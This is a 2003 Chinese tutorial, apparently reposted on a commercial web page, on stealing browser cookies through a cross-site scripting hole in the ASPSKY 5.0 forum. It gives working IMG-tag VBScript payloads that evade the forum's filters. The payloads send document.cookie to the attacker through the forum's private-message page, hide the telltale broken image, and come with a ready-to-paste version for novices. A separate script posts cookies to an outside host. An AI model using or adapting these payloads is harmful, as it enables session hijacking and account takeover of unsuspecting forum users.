• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    利用Microsoft.XMLHTTP控件发送COOKIE
    作者:czy czy82@elong.com>
    出处:http://www.nsfocus.net
    日期:2003-09-03

    (注意由于论坛会对文章中的一些字符作处理,所以最好到
    http://www.chinansl.com/czy/xmlhttp.txt看文章
    http://www.chinansl.com/czy/aspsky5.htm测试代码)

        跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个
    问题:总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性
    就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句
    的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。

        没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP
    控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们
    可以在网页中给网站发送http请求,可以是POST也可以是GET.

        好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。
    我们知道IMG SRC="XXXXXXX">在SRC中可以写入vbscript:这样的语句。。比如
    img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句,比如
    img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
    怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语!
    比如:img src="vbscript:execute(#34a=(msgbox(now)):b=(msgbox(#34czy#34#34))#34)">
    或是img src="javascript:eval('alert(\'nsfocus');alert(\'czy')')">

       还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为:
    在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内!
    所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候
    会和src="后的引号匹配,所以我们只能用"代替了。

       引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理:
    1:如果发现script字串,会在前面加上一个空格
    2:如果发现http字串会认为是一个URL,并在两边加上A>元素
    3:如果发现空格会用nbsp;代替

      解决问题:
    1:vbscript用vbsCript代替
    2:http用,#34#34ht#34#34+#34#34tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
    3:空格用#32代替(注不是#20)

       在最后就是发送COOKIE的问题:
    1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能
    GET,POST当前服务器。。。。要不然IE就会说拒绝仿问!
    2:cookie中不能有等在URL中有特殊交意的字符

      解决问题:

    1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
    2:replace(document.cookie,#34#34#34#34,#34#34-#34#34),在vbs中用
    replace替换函用,在例子中我把""换成了"-"

    问题都解决了下面是实际的例子:
    动网aspsky 5.0 0320测试成功

    //----------------------

    [IMG]vbs#67ript:execute(#34dat=replace(document.cookie,#34#34#34#34,#34#34-#34#34):set#32http=createobject(#34#34Microsoft.XMLHTTP#34#34):http.open#32#34#34GET#34#34,#34#34ht#34#34+#34#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=sendtouser=czytitle=newssubmit=发送message=#34#34dat,false:http.send#34)[/IMG]

    说明:把COOKIE发给CZY用户,邮件标题叫news
    //----------------------


    另控件的正常用法:
    script language=vbs>
    dat=document.cookie
    set http=createobject("Microsoft.XMLHTTP")
    http.open "POST","http://www.chinansl.com/czy/get.asp?cook="dat,false
    http.send
    tt=http.responsetext
    msgbox tt
    /script>




      让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不
    能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人
    生疑。

    解决思路:
    一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小,当width=0时就
    相当于HIDDEN了.通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时
    大于符用#62代替,0用#48代替!

    代码:
    [IMG]vbs#67ript:execute(#34for#32each#32aa#32in#32document.images:if#32instr(aa.src,#34#34ript#34#34)#62#48#32then:aa.width=0:end#32if:next#34)[/IMG]


    实际应用的代码:
    [IMG]vbs#67ript:execute(#34for#32each#32aa#32in#32document.images:if#32instr(aa.src,#34#34ript#34#34)#62#48#32then:aa.width=0:end#32if:next:dat=replace(document.cookie,#34#34#34#34,#34#34-#34#34):set#32http=createobject(#34#34Microsoft.XMLHTTP#34#34):http.open#32#34#34GET#34#34,#34#34ht#34#34+#34#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=sendtouser=czytitle=alllsubmit=发送message=#34#34dat,false:http.send#34)[/IMG]


    //-------------------方便菜鸟使用:)

    [Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
    您可能感兴趣的文章:
    • ASP利用XMLHTTP实现表单提交以及cookies的发送的代码
    • AndroidHttpClient使用Cookie应用分析
    • C# HttpClient Cookie验证解决方法
    • 用VBS实现的发送带Cookie的HTTP请求的代码
    • .net 获取浏览器Cookie(包括HttpOnly)实例分享
    • httpclient模拟登陆具体实现(使用js设置cookie)
    • Python模仿POST提交HTTP数据及使用Cookie值的方法
    • 详解HTTP Cookie状态管理机制
    上一篇:两个小函数让你的ASP程序对SQL注入免疫!
    下一篇:ASP的天空小偷
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    利用Microsoft.XMLHTTP控件发送COOKIE 利用,Microsoft.XMLHTTP,控件,